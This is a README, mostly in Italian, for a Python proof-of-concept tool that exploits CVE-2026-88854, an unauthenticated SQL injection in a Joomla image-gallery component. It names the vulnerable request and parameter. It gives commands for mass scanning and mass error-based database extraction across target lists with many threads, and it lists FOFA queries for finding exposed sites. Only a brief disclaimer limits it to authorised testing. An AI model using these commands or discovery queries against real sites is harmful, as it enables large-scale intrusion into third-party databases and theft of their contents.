CVE-2026-88854 — SQL Injection in OrdaSoft Joomla Gallery

Scanner/exploit PoC in Python 3 per CVE-2026-88854 in OrdaSoft OS Responsive Image Gallery per Joomla.

Riepilogo

showSearchResult() / showSearchResultAjax() leggono textsearch / searchText tramite $input->getVar(), che non applica un'adeguata escape SQL. Il valore viene concatenato in una clausola LIKE. Visitatori non autenticati possono utilizzare un'iniezione di tipo UNION per leggere il contenuto del database.

Superficie di richiesta tipica:

GET /index.php?option=com_osgallery&task=showSearchResultAjax&format=raw&textsearch=...

Le installazioni legacy possono utilizzare il nome del task searhResult (refuso).

Requisiti

• Python 3.9+
• pip install -r requirements.txt

Utilizzo

pip install -r requirements.txt

# Fingerprint + strict SQLi probe (error / time / EXTRACTVALUE)
python poc.py -u https://target.example --mode check

# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet

# MySQL error-based read (default subquery: VERSION())
python poc.py -u https://target.example --mode exploit

python poc.py -u https://target.example --mode exploit \
  --subquery "SELECT DATABASE()"

# Mass exploit (writes leaks to exploited.txt, not hits.txt)
python poc.py --list targets.example.txt --mode exploit --threads 5 --quiet \
  --output exploit_results.jsonl --vuln-list exploited.txt

# Re-tier a prior mass check by manifest version (optional)
python audit_scan.py --jsonl cve_2026_88854_results.jsonl

Opzioni CLI

Output (mass check)

Valori comuni di status (check)

Audit post-scansione (audit_scan.py)

Dopo un check massivo, eseguire audit_scan.py per riscaricare i manifest dell'amministratore e suddividere i target:

La versione della gallery viene letta dall'elemento <version> in administrator/components/com_osgallery/osgallery.xml, non dall'attributo extension version= di Joomla.

Limitazioni

• La modalità Exploit utilizza EXTRACTVALUE error-based di MySQL; MariaDB/Postgres, errori disabilitati o WAF possono non produrre alcun leak anche quando la CVE è applicabile.
• Le sole differenze di lunghezza booleane non vengono considerate SQLi confermata (ModSecurity 406 ha causato falsi positivi nei test).
• Una versione manifest ≤ 6.2.6 indica una finestra di esposizione, non una SQLi sfruttabile garantita su ogni host.
• Le installazioni Joomla in sottodirectory richiedono l'URL base corretto (es. https://host/site).

Suggerimenti FOFA / discovery

app="Joomla" && body="com_osgallery"
body="/images/com_osgallery/"

Struttura del repository

.
├── poc.py
├── audit_scan.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Le liste di target locali e gli artefatti di esecuzione (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) sono in .gitignore e non devono essere committati.

Riferimenti

• NVD — CVE-2026-88854
• OrdaSoft Joomla Gallery

Note legali

Solo per test di sicurezza autorizzati. Sei responsabile del rispetto delle leggi applicabili e delle regole del programma.